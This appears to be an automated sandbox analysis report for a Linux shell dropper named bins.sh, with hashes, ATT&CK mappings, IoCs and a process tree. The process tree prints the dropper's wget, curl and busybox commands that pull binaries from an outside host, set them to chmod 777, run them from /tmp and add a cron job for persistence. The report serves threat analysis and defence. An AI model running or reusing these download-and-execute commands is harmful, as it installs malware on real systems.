2a0ab9ddb88e2f319e7e5367b394b2cf342504d68b726571e1239d888ba40404

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
13/11/2024, 22:27

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General

Target
bins.sh
Size 10KB
Sample241113-2c3hdstpgr
SHA256 2a0ab9ddb88e2f319e7e5367b394b2cf342504d68b726571e1239d888ba40404
MD5 d313344dc9f090d744417f40f98bc63d
SHA1 95624e84da2eb87c5368e8a0da780212a92f237b
SHA512 104e107428e7293e9580b050f0d364930e45e6a51aa6ab1cf2d1eb4dd70e3dd7fbe3f01f2db57a98a06ff3938d8b09543408c53abe80c11fc2af6e84e44bd582
SSDEEP 192:2S/oibBbZbkbfbDbA0YN2u7TwY/6G2DXLMZRrwXLMZRM04wY/6GbbBbZbkbfbDb3:2S/oK0YN2u7CDXLMZRrwXLMZRM0s0YNQ
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1876) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
788	chmod
750	chmod
759	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m	751	A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
/tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J	760	NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
/tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O	789	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O

Renames itself 1 IoCs

pid	Process
790	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.s7va1Z	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/37/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/349/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/380/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/822/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/891/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/964/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/836/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/909/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/949/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1021/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/984/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1002/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1036/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/160/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/496/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/726/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/869/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/952/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/24/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/807/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/853/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/3/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/36/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/348/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/668/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/824/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1009/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/67/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/330/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/351/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/810/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/855/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/864/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1042/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/127/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/718/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/821/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/840/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/862/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/870/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/959/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/968/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/975/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/990/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/13/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/790/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/815/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1001/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1033/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/6/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/682/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/890/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/915/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/927/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/933/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/938/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/960/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/1037/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/877/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/978/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/387/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/798/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/887/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
File opened for reading	/proc/951/cmdline	84zJEHmamaz9O6V7VhaGDFe0W865iMc59O

System Network Configuration Discovery 1 TTPs 11 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
737	curl
748	busybox
754	wget
756	curl
763	wget
781	busybox
886	curl
727	wget
764	curl
884	wget
758	busybox

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J	wget
File opened for modification	/tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J	curl
File opened for modification	/tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J	busybox
File opened for modification	/tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O	wget
File opened for modification	/tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O	curl
File opened for modification	/tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O	busybox
File opened for modification	/tmp/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m	curl
File opened for modification	/tmp/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:719
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:724
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
  2⤵
  - System Network Configuration Discovery
  PID:727
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
  ./A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
  ./NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
  2⤵
  PID:762
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
  ./84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:789
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:792
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:793
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:796
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:797
- /bin/rm
  rm 84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
  2⤵
  PID:800
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
  2⤵
  - System Network Configuration Discovery
  PID:884
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
  2⤵
  - System Network Configuration Discovery
  PID:886

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

84zJEHmamaz9O6V7VhaGDFe0W865iMc59O

Path /tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m

Path /tmp/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J

Path /tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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tmp.s7va1Z

Path /var/spool/cron/crontabs/tmp.s7va1Z
Size 210B
SHA256 17f173ff16ca0e78bf267fd8cd08d12d554649e00bc7385c3fc5694c5cbac5fa
MD5 b1ca2bd9663c2f3c0ccd143d015dacac
SHA1 5e6191f6ceb886ff665756ed30cb22c4934d1bd0
SHA512 ce3c27b8b0c8aed6ca0350d3d902b99c33af516185dd4cce752fbffdbd854cdfd904feb6456ad236c42f46ef84d13652a401f3f9f63d788f3aa8249f02d21954
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads